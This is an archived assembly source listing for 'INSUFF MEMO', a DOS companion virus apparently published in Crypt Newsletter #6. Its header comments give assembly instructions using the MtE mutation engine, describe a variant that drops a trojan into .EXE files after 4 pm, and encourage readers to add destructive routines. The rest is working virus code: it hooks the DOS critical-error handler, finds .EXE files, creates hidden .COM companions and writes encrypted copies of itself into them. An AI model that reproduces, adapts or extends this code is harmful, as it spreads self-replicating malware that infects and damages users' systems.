home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / i / insuff.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  7.0 KB  |  179 lines

  1. ;INSUFFICIENT MEMORY virus - by URNST KOUCH for Crypt Newsletter #6
  2.  
  3. ;INSUFF MEMO is a simple MUTATION ENGINE loaded spawning virus, which 
  4.  
  5. ;confines itself to the current directory. To assemble with TASM 2.5, user
  6.  
  7. ;must have complete MTE091B software package (including RND.OBJ,
  8.  
  9. ;MTE.OBJ and stubfile, NOPS.BIN). Use MAKE2.BAT included in this
  10.  
  11. ;issue of the Crypt Newsletter to assemble all proper
  12.  
  13. ;components. Observant readers will notice INSUFF MEMO takes advantage of
  14.  
  15. ;VCL 1.0 code as well as notation from the SARA virus.  INSUFF MEMO is
  16.  
  17. ;a non-threatening, unique example of an MtE-loaded companion virus -
  18.  
  19. ;the only one in circulation, in fact.
  20.  
  21. ;
  22.  
  23. ;INSUFF2, included as a DEBUG script in this newsletter, is functionally        
  24.  
  25. ;identical to this virus.  However, for those who 'require' a destructive
  26.  
  27. ;program for their full enjoyment, it is loaded with a routine which
  28.  
  29. ;simple checks the system time and branches to some 'dropper' code if
  30.  
  31. ;after quitting time (4:00 pm).  The 'dropper' reads from a data table
  32.  
  33. ;and writes the NOIZ trojan to any .EXE in the current directory. By
  34.  
  35. ;looking carefully at this code, several areas where 'potentially'
  36.  
  37. ;destructive/nuisance routines can be added will suggest themselves.
  38.  
  39. ;We do not include them for a number of reasons: 1) they are easy to
  40.  
  41. ;come by in any number of books on assembly coding, the VCL 1.0 (an
  42.  
  43. ;excellent source), or source code archives on mnay BBS's, and; 2)
  44.  
  45. ;it allows you to get creative if you want and tinker (like I do all the
  46.  
  47. ; time) with the basic layout of virus source.
  48.  
  49. ;        
  50.  
  51. ;INSUFF3's source listing is modified to allow the virus to jump out        
  52.  
  53. ;of the current directory when all files in it are infected.  The
  54.  
  55. ;listing is publicly available at the BBS's listed at the end of the
  56.  
  57. ;Crypt newsletter.
  58.  
  59.  
  60.  
  61.     .model  tiny
  62.  
  63.     .radix  16
  64.  
  65.     .code
  66.  
  67.  
  68.  
  69.     extrn   mut_engine: near
  70.  
  71.     extrn   rnd_buf: word, data_top: near
  72.  
  73.  
  74.  
  75.     org     100
  76.  
  77.  
  78.  
  79. start:
  80.  
  81.     call    locadr
  82.  
  83.  
  84.  
  85. reladr: 
  86.  
  87.     db      'Insufficient memory'
  88.  
  89.     
  90.  
  91. locadr:
  92.  
  93.     pop     dx
  94.  
  95.     mov     cl,4
  96.  
  97.     shr     dx,cl
  98.  
  99.     sub     dx,10
  100.  
  101.     mov     cx,ds
  102.  
  103.     add     cx,dx                   ;Calculate new CS
  104.  
  105.     mov     dx,offset begin
  106.  
  107.     push    cx dx
  108.  
  109.     retf
  110.  
  111. begin:
  112.  
  113.     cld
  114.  
  115.     mov     di,offset start
  116.  
  117.     push    es di                   ;
  118.  
  119.     push    cs                      ;A carry over from the DAV
  120.  
  121.     pop     ds                      ;SARA virus, something of a curiosity
  122.  
  123.                     ;in this companion virus
  124.  
  125.     mov     dx,offset dta_buf       ;Set DTA
  126.  
  127.     mov     ah,1a
  128.  
  129.     int     21
  130.  
  131.     mov     ax,3524                 ;Hook INT 24, error handler
  132.  
  133.     int     21                      ;see bottom of code
  134.  
  135.     push    es bx
  136.  
  137.     mov     dx,offset fail_err
  138.  
  139.     mov     ax,2524
  140.  
  141.     int     21
  142.  
  143.  
  144.  
  145.         xor     ax,ax                   ;Initialize random seed for MtE
  146.  
  147.     mov     [rnd_buf],ax            ;could be coded, mov  cs:[rnd_buf],0
  148.  
  149.     push    sp                      ;process necessary for generation of
  150.  
  151.     pop     cx                      ;MtE encryption key - see MtE docs
  152.  
  153.     sub     cx,sp                   ;for further notation
  154.  
  155.     add     cx,4
  156.  
  157.     push    cx
  158.  
  159.     mov     dx,offset srchnam   ;EXE file-mask for spawn-name search
  160.  
  161.     mov     cl,3
  162.  
  163.     mov     ah,4e               ; DOS find first file function
  164.  
  165.        
  166.  
  167. find_a_file:    
  168.  
  169.        int     021h
  170.  
  171.        jc      infection_done          ; Exit if no files found
  172.  
  173.        jmp     infect                  ; Infect the file!
  174.  
  175.        jnc     infection_done          ; Exit if no error
  176.  
  177. findr: mov     ah,04Fh                 ; DOS find next file function
  178.  
  179.        jmp     find_a_file             ; Try finding another file
  180.  
  181.  
  182.  
  183.     
  184.  
  185. infection_done: 
  186.  
  187.      
  188.  
  189.     mov     ax,4C00h                ;terminate
  190.  
  191.     int     21h
  192.  
  193.  
  194.  
  195. infect:
  196.  
  197.     mov     ah,02Fh                 ; DOS get DTA address function
  198.  
  199.     int     021h
  200.  
  201.     mov     di,bx                   ; DI points to the DTA
  202.  
  203.  
  204.  
  205.     lea     si,[di + 01Eh]          ; SI points to file name
  206.  
  207.     mov     dx,si                   ; DX points to file name, too
  208.  
  209.     mov     di,offset spawn_name + 1; DI points to new name
  210.  
  211.     xor     ah,ah                   ; AH holds character count
  212.  
  213. transfer_loop:  
  214.  
  215.     lodsb                           ; Load a character
  216.  
  217.     or      al,al                   ; Is it a NULL?
  218.  
  219.     je      transfer_end            ; If so then leave the loop
  220.  
  221.     inc     ah                      ; Add one to the character count
  222.  
  223.     stosb                           ; Save the byte in the buffer
  224.  
  225.     jmp     short transfer_loop     ; Repeat the loop
  226.  
  227. transfer_end:   
  228.  
  229.     mov     byte ptr [spawn_name],ah; First byte holds char. count
  230.  
  231.     mov     byte ptr [di],13        ; Make CR the final character
  232.  
  233.     mov     di,dx                   ; DI points to file name
  234.  
  235.     xor     ch,ch                   ;
  236.  
  237.     mov     cl,ah                   ; CX holds length of filename
  238.  
  239.     mov     al,'.'                  ; AL holds char. to search for
  240.  
  241. repne   scasb                           ; Search for a dot in the name
  242.  
  243.     mov     word ptr [di],'OC'      ; Store "CO" as first two bytes
  244.  
  245.     mov     byte ptr [di + 2],'M'   ; Store "M" to make "COM"
  246.  
  247.  
  248.  
  249.     mov     byte ptr [set_carry],0  ; Assume we'll fail
  250.  
  251.     mov     ax,03D00h               ; DOS open file function, r/o
  252.  
  253.     int     021h
  254.  
  255.     jnc     findr                   ; File already exists, so leave
  256.  
  257.     mov     byte ptr [set_carry],1  ; Success -- the file is OK
  258.  
  259.     mov     ah,03Ch                 ; DOS create file function
  260.  
  261.     mov     cx,00100111b            ; CX holds file attributes (all)
  262.  
  263.     int     21h
  264.  
  265.     xchg    bx,ax                   ; BX holds file handle
  266.  
  267.     push    dx cx
  268.  
  269.     mov     ax,offset data_top+0Fh
  270.  
  271.     mov     cl,4
  272.  
  273.     shr     ax,cl
  274.  
  275.     mov     cx,cs
  276.  
  277.     add     ax,cx
  278.  
  279.     mov     es,ax
  280.  
  281.     mov     dx,offset start   ; DX points to start of virus
  282.  
  283.     mov     cx,offset _DATA   ; CX holds virus length for encryption 
  284.  
  285.     push    bp bx
  286.  
  287.     mov     bp,0100h  ;tells MtE decryption routine will
  288.  
  289.     xor     si,si     ;hand over control to where virus adds 
  290.  
  291.     xor     di,di     ;itself to 'infected' file, in this case offset  
  292.  
  293.     mov     bl,0Fh    ;0100h .. set si/di to 0, bl to 0Fh, all required 
  294.  
  295.     mov     ax,101    ;set bit-field in ax 
  296.  
  297.     call    mut_engine   ;call the Mutation Engine to do its thing
  298.  
  299.     pop     bx ax
  300.  
  301.     add     ax,cx
  302.  
  303.     neg     ax
  304.  
  305.     xor     ah,ah
  306.  
  307.     add     ax,cx
  308.  
  309.     mov     ah,040h          ;write encrypted virus to newly created file 
  310.  
  311.     int     21h
  312.  
  313.     mov     ah,03Eh          ;close the file 
  314.  
  315.     int     21h
  316.  
  317.     cmp     byte ptr [set_carry],1    
  318.  
  319.     jmp     infection_done            ;move to end game
  320.  
  321.  
  322.  
  323.         
  324.  
  325.  
  326.  
  327. fail_err:                      ;Critical error handler
  328.  
  329.     mov     al,3           ;prevents virus from producing
  330.  
  331.     iret                   ;messages on write-protected disks.
  332.  
  333.                    ;Not handed back to machine when virus exits.
  334.  
  335. srchnam db      '*.EXE',0      ;File-mask for 'spawn-search.'
  336.  
  337.  
  338.  
  339.  
  340.  
  341.  
  342.  
  343.     .data
  344.  
  345.  
  346.  
  347. dta_buf         db      2bh dup(?)              ; Buffer for DTA
  348.  
  349. spawn_name      db      12,12 dup (?),13        ; Name for next spawn
  350.  
  351. set_carry       db      ?                       ; Set-carry-on-exit flag
  352.  
  353.     
  354.  
  355.     end     start
  356.  
  357.